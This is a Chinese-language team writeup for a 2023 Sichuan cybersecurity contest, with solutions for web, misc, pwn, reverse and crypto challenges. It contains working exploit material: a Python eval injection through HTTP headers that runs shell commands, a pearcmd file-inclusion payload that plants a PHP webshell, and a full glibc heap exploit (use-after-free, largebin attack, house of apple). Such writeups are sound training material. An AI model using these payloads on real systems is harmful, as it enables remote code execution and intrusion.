2023年四川网信人才技能大赛初赛-团体赛Writeup
Web
guess
import requests
import random
import string
def hahaha(str):
random.seed("secret")
result = ""
for i in str:
result = result + chr(ord(i) - int(random.randrange(0, 2)))
return result
strings = string.ascii_letters + string.punctuation + string.digits
strings = strings.replace('#', '').replace('&', '')
url = "http://web-c6d5b757ef.challenge.xctf.org.cn/readFile?secret="
def req(flag, s):
for i in strings:
flag = flag[:s] + i
a = requests.get(url + flag)
if 'bingo' in a.text:
return i
flag = ''
for i in range(0, 50):
print(hahaha(flag))
result = req(flag, i)
flag += result
loginsimulator
这里的参数可以通过{ }进行注入 上面还判断的是否是127.开通
所以可插入的payload 型式就为127.{1+1}
首先在login界面生产下jwt,从头部拿值
GET /login HTTP/1.1
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
IP: 127.{eval(request.referrer)}
Connection: close
在将setcookie中的jwt放到admin路由下去
然后即可通过Referer注入数据拿到flag
GET /admin HTTP/1.1
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: user=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwMDg4NDE0MywianRpIjoiNTE4ZWYwNGItZGE3YS00OTNmLWJhNjQtMWZmZjc1YTNlZDM4IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6eyJpcCI6IjEyNy57ZXZhbChyZXF1ZXN0LnJlZmVycmVyKX0iLCJ1c2VybmFtZSI6IkNnbmF3VmJTIn0sIm5iZiI6MTcwMDg4NDE0MywiZXhwIjoxNzAwODg1MDQzfQ.RRJLFo_E8quz6oivXroZuMCrRSgiEdC35N7Q5v94FMA
Referer:__import__('os').popen(r'cat /flag').read()
Connection: close
innp
猜测这里就是包含点,后缀写死了.php
直接pearcmd本地文件包含
/?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[_]);?>+/tmp/mochu7.php
直接在当前目录下的fFfllaAag_1s_Here/FflLag_831b69012c67b35f
找到flag
Misc
快来签到吧
爆破压缩包,六位,数字和小写字母
补全PNG文件头
跑宽高
import binascii
import struct
import sys
file = "flag.png" # 图片地址
fr = open(file,'rb').read()
data = bytearray(fr[0x0c:0x1d])
crc32key = eval('0x'+str(binascii.b2a_hex(fr[0x1d:0x21]))[2:-1])
n = 4095
for w in range(n):
width = bytearray(struct.pack('>i', w))
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x+4] = width[x]
data[x+8] = height[x]
crc32result = binascii.crc32(data) & 0xffffffff
if crc32result == crc32key:
print(width,height)
newpic = bytearray(fr)
for x in range(4):
newpic[x+16] = width[x]
newpic[x+20] = height[x]
fw = open(file+'.png','wb')
fw.write(newpic)
fw.close
sys.exit()
flag{20c7786a-a098-4a7f-905c-6fb376b4a0f5}
谁动了我的数据库
直接搜flag关键字,没找到,尝试搜flag的base64关键字
http and http contains "Zmx"
追踪HTTP流量
PS C:\Users\Administrator\Downloads> php -r "var_dump(base64_decode('ZmxhZ3s5OWE3ZTMxNS1iMmE3LTRhMjUtODhhYy04Y2VkODY1NGNlZTh9'));"
Command line code:1:
string(42) "flag{99a7e315-b2a7-4a25-88ac-8ced8654cee8}"
SoDeep
DG先把虚拟磁盘里面的chall.wav
、chall.zip
提取出来
chall.wav
直接Deepsound
得到chall.zip
解压密码:level1_is_easy
得到level2.mrf
,flag.zip
有喵喵
Macro Recorder打开,只过滤key pressses
键盘输入
得到flag.zip
的密码:1a33e6c5b
flag{2db81db4-bd81-46b9-bc01-1b6a1a211bd9}
Pwn
mm
生成随机数然后加上之前的固定字符串进行md5值,主要是sprintf(target, "%d", src)
的用法,不是只填充一位,具体的调试一下就知道了, 至于随机数,因为都是伪随机,用ctypes加载一下就行
from pwn import *
from LibcSearcher import *
from ctypes import *
from hashlib import md5
context(arch = 'amd64', os = 'linux', log_level = 'info') #info
path = "./mm"
def g():
gdb.attach(p)
raw_input()
sl = lambda arg : p.sendline(arg)
sla = lambda arg1, arg2 : p.sendlineafter(arg1, arg2)
sd = lambda arg : p.send(arg)
ru = lambda arg : p.recvuntil(arg)
rl = lambda : p.recvline()
sa = lambda arg1, arg2 : p.sendafter(arg1, arg2)
inv = lambda : p.interactive()
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
seed = libc.time(0)
libc.srand(seed)
value = libc.rand() % 9000001 + 1000000
p = remote("pwn-26f57b8ca8.challenge.xctf.org.cn", 9999, ssl=True)
pay = b'Cyb31p3@c3'
pay += str(value).encode()
sla(b'you want....\n', pay)
inv()
gifts
保护全开,漏洞点在free后没有置空,存在UAF,而且show与edit没有对应的判断,可以完美利用UAF
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rax
unsigned int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
sub_1309();
while ( 1 )
{
while ( 1 )
{
sub_1389();
std::operator<<<std::char_traits<char>>(&std::cout, ">> ");
std::istream::operator>>(&std::cin, &v4);
if ( v4 != 4 )
break;
sub_1E43(); // edit(能UAF)
}
if ( v4 > 4 )
{
LABEL_12:
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "bad choice!!");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
if ( *par_target > 0x555000000000LL ) // 调用exit得改地址中的值大于
exit(0);
}
else
{
switch ( v4 )
{
case 3u:
sub_1A43(); // show(能UAF)
break;
case 1u:
sub_155A(); // add
break;
case 2u:
sub_2189(); // free
break;
default:
goto LABEL_12;
}
}
}
}
#add函数,根据选择的不同,给予不同的分配大小范围
__int64 sub_155A()
{
__int64 v0; // rax
__int64 v1; // rax
__int64 v3; // rax
__int64 v4; // rax
__int64 v5; // rax
__int64 v6; // rax
unsigned int v7; // [rsp+8h] [rbp-18h]
int i; // [rsp+Ch] [rbp-14h]
unsigned int v9; // [rsp+10h] [rbp-10h]
unsigned int size; // [rsp+14h] [rbp-Ch]
unsigned int size_4; // [rsp+18h] [rbp-8h]
unsigned int v12; // [rsp+1Ch] [rbp-4h]
sub_145C();
v7 = chunk_number % 48;
for ( i = chunk_number % 48; i <= 0x2F; ++i )
{
if ( v7 <= 0x2F && (free_sign_list[6 * i] == 1 || !free_sign_list[6 * i] && !*&heap_list[6 * i]) )
{
v7 = i;
break;
}
v0 = std::operator<<<std::char_traits<char>>(&std::cout, "fill!");
std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
}
v9 = sub_1507();
if ( v9 == 3 )
{
std::operator<<<std::char_traits<char>>(&std::cout, "input size of Gf3:");
size = sub_1507();
if ( size > 0x24F && size <= 0x4FF )
{
*&heap_list[6 * v7] = calloc(1uLL, size);
sign_list[6 * v7] = 3;
free_sign_list[6 * v7] = 0;
size_list[6 * v7] = size;
++chunk_number;
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "success!");
return std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
}
goto LABEL_25;
}
if ( v9 <= 3 )
{
if ( v9 == 1 )
{
std::operator<<<std::char_traits<char>>(&std::cout, "input size of Gf1:");
v12 = sub_1507();
if ( v12 > 0x7F && v12 <= 0x14F )
{
*&heap_list[6 * v7] = calloc(1uLL, v12);
sign_list[6 * v7] = 1;
free_sign_list[6 * v7] = 0;
size_list[6 * v7] = v12;
++chunk_number;
v1 = std::operator<<<std::char_traits<char>>(&std::cout, "success!");
return std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
}
}
else
{
if ( v9 != 2 )
goto LABEL_26;
std::operator<<<std::char_traits<char>>(&std::cout, "input size of Gf2:");
size_4 = sub_1507();
if ( size_4 > 0x14F && size_4 <= 0x24F )
{
*&heap_list[6 * v7] = calloc(1uLL, size_4);
sign_list[6 * v7] = 2;
free_sign_list[6 * v7] = 0;
size_list[6 * v7] = size_4;
++chunk_number;
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "success!");
return std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
}
}
LABEL_25:
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "bad size!");
return std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
}
LABEL_26:
v6 = std::operator<<<std::char_traits<char>>(&std::cout, "bad choice!!");
return std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
}
程序使用calloc
分配,不会从tcache
里分配,add
中可以分配largebin
大小的chunk
,所以思路就是利用UAF
将leak
出libc
与heap
, 然后由于想正常退出程序得让par_target
中大于目标,由于这个是分配到堆上的,所以利用一次largebin attack
改该地址的值为堆地址满足exit
的条件,再调用一次largebin attach
进行house of apple
攻击
from pwn import *
context(arch='amd64', log_level='info')
path = "./gifts"
p = process(path)
elf = ELF(path)
libc = elf.libc
def g():
gdb.attach(p)
raw_input()
ru = lambda arg1 : p.recvuntil(arg1)
sl = lambda arg1 : p.sendline(arg1)
sla = lambda arg1, arg2 : p.sendlineafter(arg1, arg2)
sd = lambda arg : p.send(arg)
sa = lambda arg1, arg2 : p.sendafter(arg1, arg2)
inv = lambda : p.interactive()
def choice(num):
sla(b'<* 4. SendBlessings *>\n>> ', str(num).encode())
def add(c1, size):
choice(1)
sla(b'Gf3~\n', str(c1).encode())
sla(b':', str(size).encode())
def edit(idx, content):
choice(4)
sla(b'input the idx of gift:', str(idx).encode())
sa(b':', content)
def show(idx):
choice(3)
sla(b'input the idx of gift:', str(idx).encode())
def free(idx):
choice(2)
sla(b'someone:', str(idx).encode())
#-------------------leak libc, heap and change exit_signed--------------
add(1, 0x80)
add(3, 0x450)
add(1, 0x100)
add(1, 0x80)
add(1, 0x80)
add(3, 0x440)
add(1, 0x80)
add(3, 0x440)
add(1, 0x80)
free(1)
show(1)
libc.address = libc_base = u64(ru(b'\x7f')[-6:].ljust(0x8, b'\x00')) - 0x1ecbe0
log.success('libc_base = ' + hex(libc_base))
free(3)
free(4)
show(4)
ru(b'content:')
heap_base = int.from_bytes(p.recv(6), 'little') - 0x124d0
log.success('heap_base = ' + hex(heap_base))
add(3, 0x460)
free(5)
edit(1, p64(libc_base + 0x1ecfe0) * 2 + p64(heap_base + 0x11f50) + p64(heap_base + 0x11eb0 - 0x20))
add(3, 0x460)
#-----last count is 10
#------------------------------test house of apple------------------------
add(3, 0x440)
free(7)
IO_list_all = libc_base + 0x1ed5a0
edit(1, p64(libc_base + 0x1ecfe0) * 2 + p64(heap_base + 0x11f50) + p64(IO_list_all - 0x20))
add(3, 0x470)
target = heap_base + 0x12cf8 #_IO_save_base
fake_IO_wide_data = heap_base + 0x12ac0 + 0xe0
wfile = libc_base + 0x1e8f60 #_IO_wfile_jumps
_IO_jump_t = heap_base + 0x12ac0 + 0xe0 + 0xe8
_lock = libc_base + 0x1ee7d0
IO_wide_data = libc_base + 0x1ec780
leave_ret = next(libc.search(asm('leave; ret')))
pop2 = libc_base + 0x0000000000025bcb #pop r12; pop r13; ret;
pop_r15 = next(libc.search(asm("pop r15; ret")))
magic_gadget = libc_base + 0x0000000000154d0a
"""
mov rbp, qword ptr [rdi + 0x48];
mov rax, qword ptr [rbp + 0x18]; l
ea r13, [rbp + 0x10];
mov dword ptr [rbp + 0x10], 0;
mov rdi, r13;
call qword ptr [rax + 0x28];
"""
one = [0xe3b2e]
onegadget = p64(0) + p64(pop2) + p64(0)
onegadget += p64(heap_base + 0x12ac0 + 0x268)
onegadget += p64(libc_base + one[0]) + p64(0) * 6
onegadget += p64(leave_ret)
payload = p64(0) * 3 + p64(IO_list_all - 0x20)
payload += p64(0) * 3
payload += p64(target)
payload += p64(0) * 7
payload += p64(_lock)
payload += p64(0) * 2
payload += p64(fake_IO_wide_data)
payload += p64(0) * 6
payload += p64(wfile)
payload += p64(0) * 0x1c
payload += p64(_IO_jump_t)
payload += p64(0) * 0xd
payload += p64(magic_gadget)
payload += onegadget
edit(7, payload)
choice(5)
inv()
Reverse
re4
除去jnz的花指令后,就是一个tea加密, 没有任何魔改,直接解密就行
void tea(DWORD *data, const DWORD *key, int rounds1 = 4, int rounds2 = 32, DWORD DELTA = 0x9e3779b9, boolean s = false)
{
DWORD l, r;
DWORD sum;
if (s) {
for (int j = 0; j < rounds1 * 2; j = j + 2) {
l = data[j];
r = data[j + 1];
sum = 0;
for (int i = 0; i < rounds2; i++) {
sum += DELTA;
l += ((r << 4) + key[0]) ^ (r + sum) ^ ((r >> 5) + key[1]);
r += ((l << 4) + key[2]) ^ (l + sum) ^ ((l >> 5) + key[3]);
}
data[j] = l;
data[j + 1] = r;
}
} else {
for (int j = 0; j < rounds1 * 2; j = j + 2) {
l = data[j];
r = data[j + 1];
sum = rounds2 * DELTA;
for (int i = 0; i < rounds2; i++) {
r -= ((l << 4) + key[2]) ^ (l + sum) ^ ((l >> 5) + key[3]);
l -= ((r << 4) + key[0]) ^ (r + sum) ^ ((r >> 5) + key[1]);
sum -= DELTA;
}
data[j] = l;
data[j + 1] = r;
}
}
}
int main()
{
DWORD key[5] = {0xdfe3, 0x113e, 0x5897, 0x3654};
DWORD enc[] = {0x85A6892D, 0xA177B6BD, 0x89422515, 0x159AE870, 0x5BC09E5D, 0xC13F293E, 0x25B7084F, 0xADB12A4C};
DWORD DELTA = -0x61C88647;
tea(enc, key, 4, 32, DELTA, false);
p(i, 0, 32) {
printf("%c", ((char*)enc)[i]);
}
//fcf64fc9cc0e0fe70971fd6fc6fff602
}
bbre
输入后的两个enc对输入内容进行两次base64
两次都进行了换表,最后与结果比较,直接转换就行
BYTE base641[65] = "0123FGH789JKLNOPQRSTUVopqrabcdefghWXYZijklmnstuvwxyzAB456CDEIM+/";
BYTE base642[65] = "JKLMNOPQhijklmnorstuvXwABCxyFGHIRabc456defgSTUpqVWYZ01237zDE89-_";
char target[100] = "F657xQh1FZCWFNzxu5atC4WVu6CsHcO0B5snGAKDs3XlH6sDCMmQGv9wuXfWmu5MBZGtlPCsou0.";
char res[100] = {0};
decode_base64(target, base642, res);
puts("");
//这个arr是上面解出来的,主要是修剪一些解出来的多余的字符
char arr[100] = "rixhr5s6qpNZNXRfLpNfQz1tbTNupzGuLzdzd3GuOVMZq59Cc7R0fQ==";
decode_base64(arr, base641, res);
Crypto
小试牛刀
PS C:\Users\Administrator\Downloads> php -r "var_dump(base64_decode('ZmxhZ3tOb18wbmVfZG9lc250XzFvdmVfd2Vla2VuZHN9'));"
Command line code:1:
string(33) "flag{No_0ne_doesnt_1ove_weekends}"
XORR
xor=[1,16, 60, 149, 109, 100, 41, 120, 140, 250, 65, 73, 103, 144, 28, 224, 129, 85, 158, 12, 194, 103, 115, 93, 135, 154, 143, 153, 81, 199, 243, 168, 220, 117, 69, 140, 185, 32, 234, 190, 41, 10]
C=[78, 125, 77, 206, 131, 58, 120, 101, 205, 67, 136, 63, 74, 218, 186, 202, 2, 237, 230, 244, 173, 195, 37, 3, 184, 123, 44, 116, 229, 243, 87, 56, 17, 202, 83, 175, 83, 170, 243, 53, 246, 94]
key= [40]
for i in range(1, len(xor)):
key.append(xor[i]^xor[i-1])
for i in range(len(key)):
print(chr(key[i] ^ C[i]), end="")
# flag{3549537d-66c9-fcf1-bf9b-ecceccff39aa}
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!